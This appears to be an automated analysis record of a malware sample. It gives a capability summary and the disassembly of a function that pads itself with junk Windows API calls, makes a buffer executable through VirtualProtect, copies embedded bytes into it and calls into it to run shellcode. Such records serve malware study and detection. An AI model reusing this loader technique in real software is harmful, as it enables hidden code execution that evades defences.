Function at 0x4019f0
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Read file on windows
Set environment variable
Set registry value

Disassembly:
mov eax, 0x432b2a
call fcn.004328f0
sub esp, 0x8dc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor esi, esi
xor edi, edi
call ebx
cmp edi, 0x207142
jg 0x401a20
inc edi
cmp edi, 0x67d12
jl 0x401a0d
cmp dword [0x245826c], 0x93
jne 0x401afb
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push esi
lea eax, [ebp - 0x8e8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push str.jixepeducane
lea ecx, [ebp - 0x40]
call fcn.00401d8d
push esi
push esi
push esi
push esi
mov dword [ebp - 4], esi
call fcn.004047b8
push esi
push esi
call fcn.00404508
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], str.bad_exception
call fcn.00403dbf
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.00403e1b
push esi
push esi
call fcn.00403d20
pop ecx
pop ecx
lea eax, [ebp - 0xe8]
push eax
call fcn.00402066
lea ecx, [ebp - 0x88]
call fcn.00402102
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], vtable.std::ios_base.0
call fcn.00402fcf
or dword [ebp - 4], 0xffffffff
pop ecx
push esi
push 1
lea ecx, [ebp - 0x40]
call fcn.004027c5
mov eax, dword [0x43ab50]
add dword [0x245826c], 0x1134b
push str.kernel32.dll
mov dword [0x24590a8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x2457cfc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x245826c]
mov dword [0x2457cf0], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x245826c]
mov dword [0x2457cf8], eax
push eax
call dword [0x2457cf0]
xor edi, edi
cmp edi, 0xacc
jge 0x401b6d
push esi
call dword [sym.imp.USER32.dll_SetClipboardViewer]
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp edi, 0x45be411
jg 0x401b87
inc edi
cmp edi, 0x3330601
jl 0x401b57
mov edi, 0x1692e
push esi
lea eax, [ebp - 0x8e8]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
call ebx
dec edi
jne 0x401b8c
cmp dword [0x245826c], esi
jbe 0x401c03
mov eax, dword [0x24590a8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2457cf8]
mov byte [ecx + edi], al
cmp dword [0x245826c], 0x490
jne 0x401bfa
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x245826c]
jb 0x401bad
xor edi, edi
mov eax, dword [0x245826c]
add eax, edi
cmp eax, 0x8d
jne 0x401c3e
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push str.Mul_nop_golinufarohiwif
push str.Sahikuxuyewa_wagivasixuvocut
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x401c05
call fcn.00401935
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x401c6d
mov dword [ebp - 0x14], esi
add dword [ebp - 0x14], 0x61a6
mov eax, dword [ebp - 0x14]
add dword [0x2457cf8], eax
inc edi
cmp edi, 0x674bd
jl 0x401c4e
push 0x7b
pop edi
cmp dword [0x245826c], 0x86
jne 0x401ca3
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeReadPtr]
dec edi
jne 0x401c79
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2457cf8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret